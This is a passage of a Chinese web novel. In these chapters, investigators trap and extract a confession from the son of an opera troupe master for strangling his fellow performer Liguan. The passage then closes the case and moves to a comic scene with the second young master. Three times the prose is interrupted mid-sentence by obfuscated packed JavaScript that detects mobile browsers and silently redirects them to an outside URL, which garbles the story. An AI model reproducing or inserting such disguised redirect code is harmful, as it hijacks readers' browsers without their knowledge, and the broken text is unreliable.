瑶花班众人都惊呆了,慌忙上前劝阻,毕竟已经是阴阳两隔,此刻大院中处处挂着丧幡,哪里能举办收徒仪式呢。可班主非常坚决,甚至以自尽相要挟。 最终,瑶花班众人还是妥协了,陆陆续续买齐材料后,当晚,就将大厅草草收拾了出来,作为仪式的场地。 此刻,大厅中放着一张供桌,鼎中燃着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161848|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三支清香,可列在供位上的,却是一本册子。 田班主先走了进来,这几天的消磨,已经让他的面容枯萎。 他颤抖着跪在蒲团上,朝册子磕了三个头,恭敬禀告:“师父,师祖,今有不肖弟子田德宇,凤派青衣承继第四代传人,已为师门寻觅到承接人选,现向列位请命,特办此收徒仪式。请师父与师祖泉下有知,我师门已有传人。” 田班主说完这段话,便在老三老四的搀扶下慢慢的站起来,转而坐到供桌一旁的椅子上,可原本下面蒲团上应该跪着的弟子,现如今,却只是一个牌位。 田班主老泪纵横,却还是坚持着。 “师父、师祖在上,我田德宇,今日正式收田南离为徒弟,传授技艺,不求扬名立万,但求衣钵传承。”说到此处,田班主已哽咽的说不出话,他用拳头砸着自己胸口,半晌才继续说道,“自此,田南离为我凤派青衣第五代传人。” 随后,田班主将桌上供着的册子拿起,伸手缓慢的抚摸着它有些泛黄的表皮,声音低沉又痛苦。 “这本《凤派青衣传人谱》是四十年前,我师傅交予我手。南离,今日我将你的名字书于其中。从此以后,你就是我凤派的徒弟,在九泉之下,”田班主又顿了一下,深吸了几口气,缓解着自己的巨大悲哀,“你不是孤魂野鬼,你有师祖,有师门,有归宿。” 瑶花班众人围在外围,无不动容,个个泪意上涌,汀汀更是哭的连站都站不起来。 收徒仪式本应该由徒弟磕头递茶,可如今的牌位孤零零的放在蒲团上,什么也做不了。最后还是老三捧着师兄的牌位,老四替他递上了一杯热茶。 田班主的泪水浸满了他的鬓角,落在茶中,他情绪难耐,手一哆嗦,还是将茶杯跌落在地。 这一刻,整个瑶花班鸦雀无声。 砸碎的茶杯、流去的茶水,就彷佛这场再也无法逆转的悲剧,象征着凤派青衣终成绝唱。 田班主手僵在半空中,半晌,他喃喃说道:“这是南离在向我哭诉,他要亲眼看到他成为传人。好,好,我亲自烧给你。南离,你等着,我来,我来……” 田班主扶着把手费劲的站起身,想要将《凤派青衣传人谱》放到供香上燃烧,一时间,大家惊慌失措,忙上前阻止。可不等徒弟们靠近,田班主已重重瘫坐,晕了过去。 饶是失去意识,田班主依旧紧紧地握着那本册子,似乎要将它按进心中。 深夜,趴在田班主床边照顾的田叔,睡着了。田班主醒了过来,他盯着帷帐看了许久,眼泪一行接着一行,终是慢慢爬起来,尽量不发出动静,免得惊醒田叔。 田班主只披着一层薄衫,一步一步朝着斜对面那亮着烛光的房间走去,他的步履很沉重,却没有任何犹豫。 等他推开离官的房间大门,摆在中间的正是离官的棺材。田班主此刻已经直不起腰了,他用袖子拭了拭泪,走到烧纸钱的火盆边,掏出怀中的册子…… 就在此时,一道黑影出现在门边,朝着毫无察觉的田班主慢慢靠近,随即抬起手,朝田班主颈部径直劈了下去。 忽然,一道劲风自房梁上朝下袭来。 杨捕头猛然跳下,扑向黑影。黑影未料到竟然有埋伏,直接被扑倒在地。杨捕头用劲压住黑影,一只手麻利的撤下黑影的面巾。 在一旁露出恐惧神色的田班主,颤颤巍巍探出头,当看到那张和自己年轻时几乎一样俊美的容颜时,田班主大叫了一声,再次晕了过去。 27.解谜1 老三田南沣被押进来的时候,神色非常平静。 杨捕头喝问:“田南沣,是你杀了你师兄田南离,也就是离官,是不是?” 老三没有回答,他瞪着杨捕头,不服气的很明显。 谢宁轩朝杨捕头挥挥手,示意他退下,自己则徐徐开始了讲述。 “田南沣,你无需隐瞒,我们已经知道你就是杀害离官的凶手,也知道你的动机。你是为了你的师姐,田南花。” 老三扭脸:“我不明白你说的什么意思。” 谢宁轩只自顾自讲着,带着淡淡的悲悯。“你们班里的厨子曾说看见过大师姐拿着一封信,离官从一旁走过,所以他想当然的以为离官喜欢大师姐。但他错了。当时出现在画面中的还有你,其实喜欢大师姐的人,是你吧。” 老三却避开了他的注视,望向窗外。 “你们班中,除了这一年新来的人,其他人的旧衣服上都绣有小花。正如大家所说,人人都有旧衣服请大师姐补过。可是全班有两个例外,一个是离官,他所有衣服全部是新裁剪的,配得起他当红的身份,也丢掉了他的心魔。还有一个,却是你。” 我盯着堂下那人柔美的脸颊,接过了谢宁轩的话头:“走访的时候,我注意到你的衣服都挺旧的,其中一件下摆破了,有一条歪歪扭扭的缝线,却没有大师姐标志性的小花,说明是你近期自己补的。可你却把较新的衣服扔掉,留下旧衣服,这很不合理,不是吗?事实上,你扔掉的全部都是大师姐补过的衣服,留下的不管新旧,都是没有她的气息的衣服。” “但你和离官不同。离官在发达之后立即更换全部衣服,是因为心中有愧,所以一旦有钱,立即将不堪的过往全部丢弃。而你不是,你是不想睹物思人。”谢宁轩轻声说。 当我怀疑到老三的时候,我马上想起来在瑶花班与他见面的点点滴滴,猛然意识到他房间中衣服少得可怜。这时候,我又想起来衙差曾带来的一条不起眼的线索,说一年前有班里成员捡拾过别人丢掉的较新衣服穿,还遭到了离官的嘲笑。 一年前,瑶花班还不富裕,好端端的为什么要扔掉较新的衣服?一年前,这个时点,不正是大师姐田南花死亡的时点吗? 所以我请杨捕头去询问了那位成员,证实扔掉旧衣的人就是老三。翻出那件衣服,大师姐的标志小花清晰可见。这就太蹊跷了,不是吗? 留下洗得发白的旧衣,却丢掉师姐缝补过的较新的衣服,这奇怪的行为,甚至一度让我以为他也与师姐之死有关。 还是谢宁轩马上联想到了光头厨子的话,这才明白,其实他扔掉衣服,正是因为这一个个小花,都是师姐的音容笑貌。他只是为了不再沉溺悲伤无法自拔。 老三没有再否认,他的目光在我和谢宁轩脸上游迤,轻蔑的笑:“对,我是喜欢小花,那又如何?” “你喜欢小花,她喜欢你吗?” “当然,我们心有灵犀,互相倾慕。”老三语气自豪。 谢宁轩问:“为什么你们班里的人竟然没人知道你们在一起?” 这也是我不明白的地方,瑶花班人人知道老四、汀汀、离官的单向三角恋,可怎么就没人发现还有一对双向箭头的恋人呢? 老三耸耸肩:“我与小花,从未有过任何逾矩之举,我们在一起讨论的,从来都是班里的事务、彼此的唱腔。在众人眼里,就是她这个大师姐和我这个班主之子之间正常的交往。可我们彼此都知道,在对方的眼中,流淌中一样的情愫。” 看来若不是那日光头厨子巧合撞见,这个动机,我们永远猜不到了。 这是不是说明,群众的眼睛,有时也不够雪亮? 谢宁轩语气平静:“你们班里有人曾听到你酒后抱怨,说离官今天的地位是他偷来的。听到的人自然认为你是在抱怨父亲未传授你青衣技艺,所以离官今天的地位,是从你手中偷来的。其实他错了,你的意思是指,离官今天这样辉煌灿烂的成就,本应该是大师姐的。从你这句话,不难推出,你知道大师姐的死与他有关,否则他辉不辉煌,那也只是老天不公而已,何来‘偷’字?” 老三移开视线,望向窗外,半晌,他语气淡漠的说道:“是,我知道了,他害死了小花。” “你从你师弟田南禄那里知道的,去年十月他们打架后,对吗?” 老三沉默了一下,慢吟叮咛,像是婉转的唱腔。 “那天,南禄从外面回来,冲上去就打他,汀汀吓得大叫,我立即去拉架。可南禄眼睛通红,肿胀着,好像是大哭过。我拉开他之后,就把他带去酒楼喝酒。我本以为又是为了汀汀罢了,可南禄一反常态,一碗一碗的灌,直到把自己灌醉。等我背他回房后,他却忽然抓住我,哭着问我该怎么办。我这才从他的口中得知了真相。” 谢宁轩点点头:“老四提过,得知真相那晚他宿醉,是你陪他劝他。可他在醉中告诉你的话,醒来之后却不记得了,便以为此事只有他一个人知道。他也曾动过杀心,想为姐姐报仇,可他虽然外表粗放,其实内里是个柔软又胆怯的人,他害怕,他下不去手,又有着汀汀的缘故,以致他唯有借酒消愁。但你不一样,你外表柔和俊美,但其实有主意、有恒心、有胆量,你要为你心上人报仇,不仅如此,你还要抢夺走他当家花旦的地位,对吗?” “是!”老三一昂脖子,语气变得激烈,“我要把不属于他的,都拿回来!这都是他从小花那里偷走的!” “你说想替大师姐讨回公道,可你选择的手法,却是将自己送上青衣的位置,你的用意,恐怕并不单纯吧。” 老三不屑:“你懂什么!小花知道我喜欢青衣唱腔,经常教我,我唱的不比离官差!他既然害死小花,抢了小花的地位与尊荣,那他就得还回来!如果我登上青衣的舞台,小花也会为我高兴的!” “所以案发当天,是你代替离官去唱的戏,你不仅要杀他,还想看看如果换做是你,能不能如他一般博得满堂彩,是吗?” “我唱得不好吗?”老三眼中露出奇异的光芒,“我唱的比他更好!只是老爹偏心罢了,否则我怎么会不如他有天分!我第一次登台,就比他游刃有余、比他更适合这个角色!” 确实,老三唱的很好,以至于竟然没有人发觉,当天表演醉酒的贵妃,根本不是离官。 其实从我们意识到案发当天在太尉府表演完,青衣未曾卸妆之后,案件便渐渐明朗了。 戏曲扮相用的油彩极重,如果有人刻意按照离官素日的装扮化妆,瑶花班的众人能不能分辨清楚?邻居遥遥一望,能不能看得出来? 何况当日“离官”还有着种种反常表现,他中午没去吃饭、下午黑着脸不怎么说话、晚上不聚餐早早回大院,这些可都是避开瑶花班成员的表现呀。 可是为什么大家都没有意识到?为什么我们一开始也没发现这位“离官”有问题? 是因为真离官上午收到勒索信后发了脾气,所以大家都知道他心情不好,也没人去触他霉头。而同时,假“离官”虽然少画了滴泪痣,唱错了两处,但呈现出的效果几乎一样,这才得以蒙混过关。 这就说明,这个人不仅很熟悉离官的唱腔、身段及性格,还知道他脾气大,那就大概率不是观看瑶花班表演的外人,毕竟在外面,离官一向是恭谨又礼貌的。 这个人还得熟悉瑶花班上下对离官的态度,知道大家不愿招惹、触怒离官,都顺着他、依着他。可离官是在得到魏王青睐之后才一改往日的谦逊有礼,越发狂躁起来的,这时候同行都与瑶花班没什么交集了,因此也可排除同行。 视线聚焦到瑶花班内部。 整个班子在太尉府表演当天都在场,只有一个人,大早上与父亲吵架离家,偏偏就在表演完后到酒楼道歉认错,拥有整段空白的完美作案时间,呵呵,不是他,还能是谁呢。 “你将他脱光了扔上房顶,其实也不是为了羞辱他,更不是为了什么诡异的仪式。真相很简单,就像我们之前猜测的,你根本就是为了混淆他的死亡时间,这样你才能扮作他的样子登台表演。你也成功将我们的视线扰乱,让我们真的以为离官死于表演之后,完全没有将你纳入怀疑之中。” 扔上房顶的原因也很简单,因为最近倒春寒,离官晚间还用着炭炉。他如今的地位,已经用上了精炭,持久温度高,能够让屋子长久温热,这对于需要尸体死亡时间往后挪的老三来说,很不利。但把炭炉弄灭,一时间屋子还是降不下温,老三总不可能开窗透风吧。所以,他就干脆将尸体扒光扔上了房顶,用夜间的低温缓慢尸体的腐化。 老三冷哼一声:“没错。从我知道小花真实的死因之后,我就开始筹谋了。我不仅要杀了他,还要让瑶花班的青衣有人传唱下去,我不能让小花心心念念的演出断了档。” “你只是幼年跟着你爹学了一年的基础功,加之大师姐的偶尔提点,怎么会练的这么好?”我不禁奇怪,可当问题说出口,我却忽然意识到了答案,“你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176382|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你每晚翻墙出去练习?” 老三轻蔑一笑,算是回答了我。 原来大院院墙上的攀爬痕迹,不只是武生练习身手时留下的。更是因为老三每晚都出去练习,加之白天忙于班中事务,怪不得他眼下乌青,一脸疲态。 不得不说,老三对青衣这角色真是执着。 老三看我和谢宁轩对视一眼都有些沉默,他扯扯嘴角,用一种轻飘飘的语气说道:“我知道他害死了小花之后,我就知道我得杀了他。但我不能让瑶花班没了青衣,我还得实现小花的梦呢。所以,我开始认真观看他的每一场戏,琢磨他的唱腔、身段、演技、妆容。我本来就和他们一起学了一年的基本功,而且我和南禄转投于别人后,那人也不怎么认真教授,三天打鱼两天晒网,一个月里有一半时间,我们就坐在院子里看老爹教小花和他。师弟早就认命了,不练功的时候就玩耍、休息,但我不一样,我恨!我不满足!” 他摸了摸自己的脸,如贵妃般轻柔自怜,“我的长相不比离官差,凭什么老爹不教我?所以我天天认真看,偷学了不少。我和小花在一起之后,小花知道我喜欢青衣唱腔,也时常教我一些技巧,我的功底不比他差!这几个月来,我经常在房间里无声练习,每晚再爬出院子出去练唱,我付出的努力,也丝毫不比他少!” “是啊,我们一直没有把你纳入视线中,不仅忽略了你也有青衣基本功,而且也没有意识到,你虽然扮演小生,可你小时候也学了武生的那些本事。所以不止老四,你力气也不小,把离官扔上房顶也很容易。” 老三啐了一口:“对!不过是些攀爬的本事,我也会!我小时候和老四学的就是这些杂学!” 杂学……老三真的疯魔了,其实一场戏中任何一个角色都不可或缺。但他早就被妒火中烧蒙蔽了双眼。 我想,恐怕不只因为与大师姐的情愫,或许在田班主不再教授他青衣表演的那一天,他就已经埋下了深深的恨意。 “案发当天,其实你在午时之后,就将离官掐死了,对吗?” 当我们意识到离官这个大男人被掐死竟然未有动静被关注时,很是不解。可随着揭穿混淆死亡时间的手法,我们总算明白,凶手挑了个万无一失的时机,自然无人能听到动静。 没错,那就是午时之后,众人齐聚大院饭厅吃饭的时间。 老三自己有离家出走的幌子,又故意利用离官收到勒索信心情不好、跑去班主房中大发雷霆的一幕。这场景人人都看到了,所以离官不去吃午饭,也没人怀疑。 于是顺理成章,老三把离官掐死,再扮作后者的青衣扮相,和众人一道前往演出。 要想达成这个效果,他就必须掌握离官的心情动态,也不能让离官当天出现在饭厅,所以—— “勒索信其实就是你发的,是吗?” “对,就是我发的!”老三毫不避讳,带着浓烈的恨意,“他杀了小花!我都容了他这么久,自然要先吓吓他!所以我故意发了封勒索信,写有人知道了他当年换药的事情。他果然吓得魂飞魄散,把自己关在屋里,这正合我意。” “所以那天早上,你故意找茬和班主吵架,也是为给自己安排不在场证明。” “是!怎么样,我的布局是不是很完美!”老三眼中闪过红光,“那天我假装负气出走后,就将信戳在树上,然后躲了起来。等到午时大家吃饭,再悄悄翻墙爬入,敲他的房门。他以为我又回来了,也没多想,还发脾气嫌我吵他。呵呵,”老三讽刺一笑,“我冷眼看着他那股子傲气,慢慢说出我知道了勒索信的内容。他立刻脸色大变,吓得要死,一把把我抓进房间关上房门,又把我推到内室床边盘问我。哈哈哈哈,你们说,他是多么的愚蠢!” 我和谢宁轩对视着,心情都有些复杂。 如果离官没有做过亏心事,他就不会被勒索信左右心情,不会因此开门迎进死神。而他引着老三走到内室,避开了外室那些桌椅板凳瓜果杯盏,简直是在帮杀他的人解决麻烦。 “他紧张兮兮的问我勒索信到底谁发的,”老三陷入了回忆中,情绪激动,“问我怎么知道的?我看着他的脸,我看了十几年、天天共处的师兄。我看着他气愤的问我是谁在算计他,是谁要对付他。呵呵呵呵,他可有想过,当他给小花换药的时候,那算计,那狠心,到了今天,他居然堂而皇之责问别人?” “这么说,你杀他之前,他承认是他害死了田南花?”谢宁轩身子朝前探了探,追问道。 28.解谜2 老三眯了眯眼,似乎想把记忆里的那个人看的更清。 “他就是个草包!我掐住他的时候,他在床上拼命扑腾挣扎,我留给他喘息的机会,问他,他先是疯狂否认,可我稍稍使劲一逼问,他就承认了,然后就开始疯狂求饶。哈哈哈哈,他真是又蠢又坏!我怎么可能留他性命?留他背靠魏王回头整死我,留他日日对大家颐指气使,留他占着青衣的位置,留他这个害死小花的真凶吗?怎么可能!所以,在他承认之后,我毫不留情的狠狠掐住了他,他挣扎……挣扎……” 老三的表情扭曲着,让人看得后背发凉。 看我不适的偏过头去,谢宁轩停顿片刻,方继续问道:“你既然是在床上掐死的他,为什么没有留下痕迹?” 老三讥讽地笑了笑:“呦,那不是因为他用了魏王赏赐的千金难买的缎面吗?我轻轻抚了抚扯了扯,就光亮如新。” 听到此处,我终是忍不住喟叹,只能说冥冥中自有安排。 离官追求的富贵荣耀,并没有给他带来心理上的平和与满足,相反,他受伤、不甘、愤怒,却又无法言说,只能迁怒瑶花班的成员,越发让自己讨人嫌、陷入孤立,给了凶手可乘之机。同时,这追求来的财富与奢华,却又将自己的死抹除的毫无痕迹。 “然后你就用他的油彩给自己上妆,等众人出发时,再装作心情不好不说话。”谢宁轩幽微叩问,“当然,我相信在这几个月的筹谋中,你也早把他的声音吃透,即便有人与你对话,你也不怵。演出,更是无人起疑。” “是!我演的太好了!根本没有人发现我不是离官。你知道这说明什么吗?”老四哈哈大笑起来,俊美的容颜显出狰狞的丑态,“这说明我也能做当家花旦!这大青衣的角色就应该给我!” 老三确实设想得很好,表演前的步骤拿捏的万无一失。而表演后,他继续借口心情不好,乘车早早回到大院,避开三样快速卸妆,再爬墙翻出大院。 因着瑶花班其他人是步行到酒楼的,这时间差也足以令他提前候在酒楼,做出了他一天不在大院的假象。 又因为尸体被冻过,死亡时间难以确定,我们就只能根据“离官”在众人、邻居面前出现过的时间,倒推死亡时间,更将他排除在外。 从老三代替离官的演出来看,他确实唱得很好。儿时被逐出青衣学堂的他,用了一生去追逐梦想。但一年前,他扔掉小花衣服的时候,或许,是真的想放下,想要走出来。 可小花之死的真相刺激了他。 那深根于心底的不甘与执念、嫉妒与不平,终究化作深深的杀意,吞噬了他。 但他本可以直接杀了离官。为什么要不知疲倦的夜夜练习,煞费苦心的筹谋杀人计划? 当他亲手掐死师兄时,只是为了小花复仇吗?当他站在台上享受下面欢呼声的时候,想圆的,真的只是小花的梦吗? 对我提出的这个疑问,老三并没有回答。他只是瞪着我,像一条怨毒的毒蛇。 也许,爱与恨,嫉妒与梦想,执着的夙愿,早就化作了一体。它埋在老三心中,像一颗不定时炸弹,促使着他下了手,杀掉了这个夺走自己青衣角色、花旦地位,也夺走了爱情之花的人。 对老三的提审告一段落,可看着他被押走的背影,我仍觉得心绪难平。“这个案子是了了,可田班主怎么接受啊?设下的套,网住的竟然是自己的儿子,哎。” 在我们怀疑到老三身上的时候,其实只有推论,并没有切实的证据,恐怕不好撬开老三的嘴。我便提出,不如请君入瓮。 我们知道在老三心目中,青衣角色和小花,是他不可触碰的逆鳞。所以杨捕头打听到的那个当时看来没什么用的信息就发挥了它的价值。 一场收徒仪式,一个传人的正式名头,对于离官、多次提出补办的大师姐,和心心念念的老三来说,都意义非凡。 当班主为死去的离官补办仪式,将离官定为唯一的接班人,却毫不提及曾经更加优秀的师姐,更不考虑儿子的时候,这一定能最大化的激怒老三,他一定会在田班主将《凤派青衣传人谱》烧给离官之前,将自己和大师姐的名字写上去。因此,埋伏在灵堂,就一定能捉住他。 当然,对田班主这边,我们自然不能直说,只说发现了凶手,需要他配合捉凶。着急为徒伸冤的班主自然不会拒绝。 只是他看到凶手真面目的那一幕,似乎残忍了些。 可谢宁轩却摇了摇头,语气低沉。“恐怕,田班主早就知道凶手是自己儿子了。” 我一惊:“什么?” “你还记得吗,瑶花班的人不止一次说过,在太尉府的表演中,青衣唱段错了两处,田班主脸色当时就变了。” “是啊,那不是怕太尉听出来怪罪吗?” “我想,恐怕令他心惊变脸的,不是唱错了唱段,而是他听出来了,那不是爱徒的声音,而是儿子的声音。” 心口如有重锤,我立时想通了一切。 谢宁轩的声音徐徐谆谆,有如魔力。“当天除了假‘离官’反常的举动之外,田班主也有一些异常举动,不是吗?他先是借口离官心情不好,从而拒绝太尉府的留请,随后又在聚餐中,心事重重,打翻儿子递来的酒,匆匆返回大院。” 是啊,或许那时,他已经意识到,眼前的‘离官’不对劲,并从当日儿子的刻意离家,推断出了一切。他匆匆回到大院,敲门未得到回应,恐怕那时,他已知晓真相。 我想起了报案当日我们询问田班主时他的回答。难道说,他说老三是“不孝子”,指的不单单是前一天的吵架…… 我不愿相信,缓慢的、机械的摇着头。 谢宁轩面容郁郁:“离官死后,田班主很悲伤。但你不觉得,他的悲痛中,还有一种隐隐的恐惧与绝望吗?当时我将其解读为对瑶花班未来的担忧,并未深思。可随着真相揭晓,我才意识到,那应该是一个父亲对儿子狠辣无情手段的畏惧。” “那、那他怎么还积极报官、通知魏王府?” “他也是没办法。离官尸体在众目睽睽下,他不立即采取措施,又能怎么办呢?众人眼中他的痛苦,也一定是真的。只是,在丧徒之痛的表象之下,他一定比我们理解的更悲痛、更无助、更悚然。” 是啊,如果他先于众人意识到面前这个向自己赔罪的嬉笑的儿子刚刚杀了多年师兄,还在众人、官府面前如常悲伤,那班主对儿子的感情,将会多么复杂。 头皮发麻,但我还是很快意识到个不合理之处。“可既然如此,班主为什么要配合我们演这场戏?” 谢宁轩的眼中流露出悲哀之色。 “那日,班主答应的时候,我看出了班主矛盾又胆颤的内心。我想,一方面,对于我们设圈套缉凶的请求,他没有理由拒绝,毕竟那是他的爱徒,捉拿凶手对他而言是第一要务,这也是每个瑶花班成员都觉得班主应该会有的反应,否则会引人生疑;另一方面,只怕他也想赌一把,希望自己是听错了、猜错了,希望自己等来的,不是儿子罢了。” 胸口闷闷的,这不是我想要的故事走向。“你说,田班主若是一开始传授的就是自己儿子,是不是就可以避免这场悲剧了?毕竟父子传承天经地义,没有人会心理不平衡。” 谢宁轩沉默片刻,低低道:“其实,田班主不让儿子学青衣,或许是为了保护儿子。” 我心头一震,旋即明白了。 从田班主及时通报魏王府来看,他知道离官与魏王的关系。久在梨园行当的他,曾经也是青衣传人,大概早在教习儿子一年之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178388|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就发现了儿子的天分。事实也证明,老三田南沣真的是极具天分。 田班主早就有了先见之明,知道这一行想要出头,将会付出什么代价。所以他反而用这个理由逐出儿子,其实是为了让儿子无需走上这条不容易的路,而能够过上平凡人成婚生子的日子吧。 但最悲哀的是,儿子自始至终,都不知道父亲的用意。 *** 名角离官的死亡,在梨园坊和喜爱《贵妃醉酒》的达官显贵中,引起了不小的轰动。可即便热油泼进冷水,劈里啪啦之后,总会归于平静。瑶花班也会这样,渐渐消失在人们的口中,被时间遗忘。 抓捕老三田南沣那晚,田班主一夜白了头。随着儿子的审判下来,他遣散了众人,搬去了牢房边一处小房子,只求经常能去牢中探望儿子,并在其被处决后,带着他的棺材回家乡安葬。 从带着四个对京城充满了憧憬的孩子入京讨生活,从在京郊时演出的不顺与冷遇,到初次登上梨园坊舞台时的满足与期许,到声名赫赫的荣光与顶峰,短短的两年时间,却好像过了很久。京城的繁华与喧嚣,对于田班主而言,或许只是场噩梦。 好在,田班主的身边还有老四。 瑶花班遣散时,汀汀也再次拒绝了老四,在一个雨夜中离开了京城。老四很受伤,可他也明白,如果离官在世,也许有一天他能够打动汀汀。可倾慕之人横死眼前的冲击,不是他的温柔就能抹去的。汀汀需要离开,需要彻底忘记那首《贵妃醉酒》,才能找到内心的平和,才能真正释怀。 案子终了,谢宁轩还专门去了趟魏王府。可这位当日还一早派人叮嘱的海王,怀中早已搂上了新人。 对于找到名角之死的凶手,本案中,我更唏嘘的,还是大师姐的死。 她本有着最婉转的唱腔,最优美的身段,却死于嫉妒、死于人性之恶。只剩一朵朵小花宣告着她的善良与美好。田班主将她与离官的坟落在了相近之处,或许是希望离官九泉之下能够向大师姐认错道歉。 可我觉得,他不配。 不过不管怎么说,瑶花班的案件结束了。但属于我的麻烦,才刚刚开始—— “你参与破案了?羽书妹妹,太没义气了吧!”气鼓鼓像只鹌鹑,蹲在我身旁抱怨着的,正是穿着上月白、下蓝紫长衫的二公子,“明明是我带你去的,怎么破案时,没叫上我!” 我凝眉盯着他的衣服,总觉得有些熟悉。 “喂!”二公子更恼了,揪住我的袖子哼哼唧唧,“我跟你说话,你还不理我!羽书妹妹,你怎么变成这样了,铁石心肠,忘恩负义!” 好家伙,至于么…… “好了!”我伸手制止了他的缠绕,“别絮叨了!那不是事态紧急吗,设局那晚就得手了,你不是都住在书院吗?我怎么去叫你啊?” “怎么不能叫!”二公子撅嘴,“当时我们晚课都下了!搞那么晚……哼,我哥也就由着你,还让你听审……都不来叫我,明明我那几日见他时还问过他案情进展呢!” 又抱怨到他哥身上了……这好啊,你们兄弟撕扯去,别殃及我啊。 我立时打定了主意:“嗯,就是,都是你哥的错,是你哥没想起来叫你,你回去质问他呗,就现在去!” 说着,我不动声色的起身迈步,试图将二公子骗出房门。 “就是,我哥太不够义气了!既然都能带你查案,为什么带我不行?亏我问他的时候,他还叫我少管闲事,专注读书……哼,我说他这几日怎么春风得意,心情好的不得了,原来是结案了……” 嘟嘟囔囔、絮絮叨叨,没完没了…… 耳朵上茧之际,我终于将他引出了房门。就在我点头哈腰各种捧哏的时候,却突然杀出个程咬金——老爹突然回来了。 29.青朝版选美 “呦,二公子来了?”老爹狗腿技能满分,当即眼冒星星就贴了上来。 二公子脸色仍不好看,只拱手叫了声:“伯父。”就朝我看来,委屈的扁扁嘴,竟说,“伯父,羽书妹妹什么时候才能找回记忆啊,这失魂症真的治不好吗?” 老爹一怔,赔笑道:“治,是有点难,但说不定什么时候就好了。急不得,急不得。” “可她丢了往事的记忆,怎么把和我的友谊也丢光了?以前干什么都拉着我一起,这次查案竟然……” “查案?”老爹眼皮一跳,敏锐的捕捉到两个字。 我唬了一跳,马上去捂二公子的嘴:“查……漏补缺往日记忆啦,按说细致的描述总能挽回记忆嘛……”我瞎诹着,一面扯住二公子的胳膊,将他往屋里推,“走走走,咱们还没查完按完呢,你走什么呀!” “我走?那还不是因为……” “快进去啦!”我咬牙切齿,恨不得一脚踹他进屋。 这厮真是够烦的! 那日请君入瓮计毕竟是我提的,谢宁轩还算仗义,允我留下旁听审问,并主动说会替我作伪,称一夜不归是夜宿王府,这才搪塞了老爹的询问。 眼瞅时过境迁,老爹都把这事丢在脑后了,竟差点让二公子说露馅。 好在老爹看到二公子被我推搡的跌跌撞撞,只顾着关心人家安危,并没深思,我这才得以关上房门,松了口气。 二公子坐在圆桌前,两手叉腰,狐疑的瞪着我:“羽书妹妹,你搞什么?你是不是有事瞒着伯父?” 我装作讶然:“胡说什么?我又没做亏心事。叫你进来,是我突然想起来,你上回说那个陀螺,我好像有点印象,是、是怎么回事来着?” 二公子果然上当,喜上眉梢,跳上前拉着我的胳膊,激动地说:“你想起来了!羽书妹妹,我就知道,你不可能把我忘得一干二净!” “是是是……”我敷衍着,“你再展开说说,让我回忆的更清楚一些……” “哎呀,就是十年前下大暴雨那次,咱俩躲在假山洞中,都被淋湿了……” 二公子眉飞色舞的讲述着,我的思绪却已飞远。 原主落水之事,谢宁轩执笔的信已经寄出,他还派人沿着原主上京的路折返沿路调查,也许不日就有进展。 但即便查清,原主,也回不来了。 这段时日,关于原主的往事我没少听。在封建王朝对女性多有束缚的大环境下,她却是那样的活泼好动、精灵古怪。即便离京八年,依旧为儿时玩伴思念着、念叨着。可到底遭遇了什么样的恶事,竟害了她的性命? 我盯着二公子皎洁明亮的眼、喜气洋洋的笑,不免愈发遗憾。 “……你当时还答应我,要、要……”不晓得想起了什么,二公子脸上竟还飘起红云,朝我飞来个娇俏的眼神。 可我这时还在走神,没get到。 “羽书妹妹!你怎么没反应?你、你听到我说什么了吗?” “啊?”我猛地回神,看到二公子正蹲在我身侧,殷切的望着我,赶紧点头,“听到了听到了!这不是发现记忆有些冲突,好似不是一回事,正努力回想呢嘛。那个,要不你先回?我在家好好苦思冥想一下,保证能……” 二公子低垂眼帘,似是深吸了口气。他撑着膝盖站起来,瞧一眼窗外,却道:“回什么呀,都到晚饭点儿了,走走,带你去吃好吃的!” “不用了吧,我家做饭了……诶诶,你怎么老拽我的袖子!” *** 青朝不设宵禁,实乃民风开放、治安稳定的象征。此时天色已黑,市井中却灯火通明,非常热闹。街道两旁不少小摊位在吆喝着,各色人群在夜市里涌动。 马车夫驱车停在了一处二层酒家前,我下马车东张西望的功夫,就进去了三拨人,看来生意是真不错。 二公子眼瞅着我看什么都稀奇,一副乡下佬进城的模样,立时爆发出强烈的主人公心理,大手一挥:“羽书妹妹,想吃什么点什么,想买什么买什么!本公子请客,给你包圆了!对了,我听母妃说,你上京一路,怎得把丫鬟丢完了?不过没事,我现在就去给你买俩。” “啊?不用了吧!” “跟我客气什……”二公子脚步一顿,“哦,你是嫌路边买的不满意?” “不是,我……” “那这样,从我身边挑俩过去得了,也都是你自小认识的。” 又是自小认识?天天在我耳边念叨往日回忆?妈呀,我可不要! 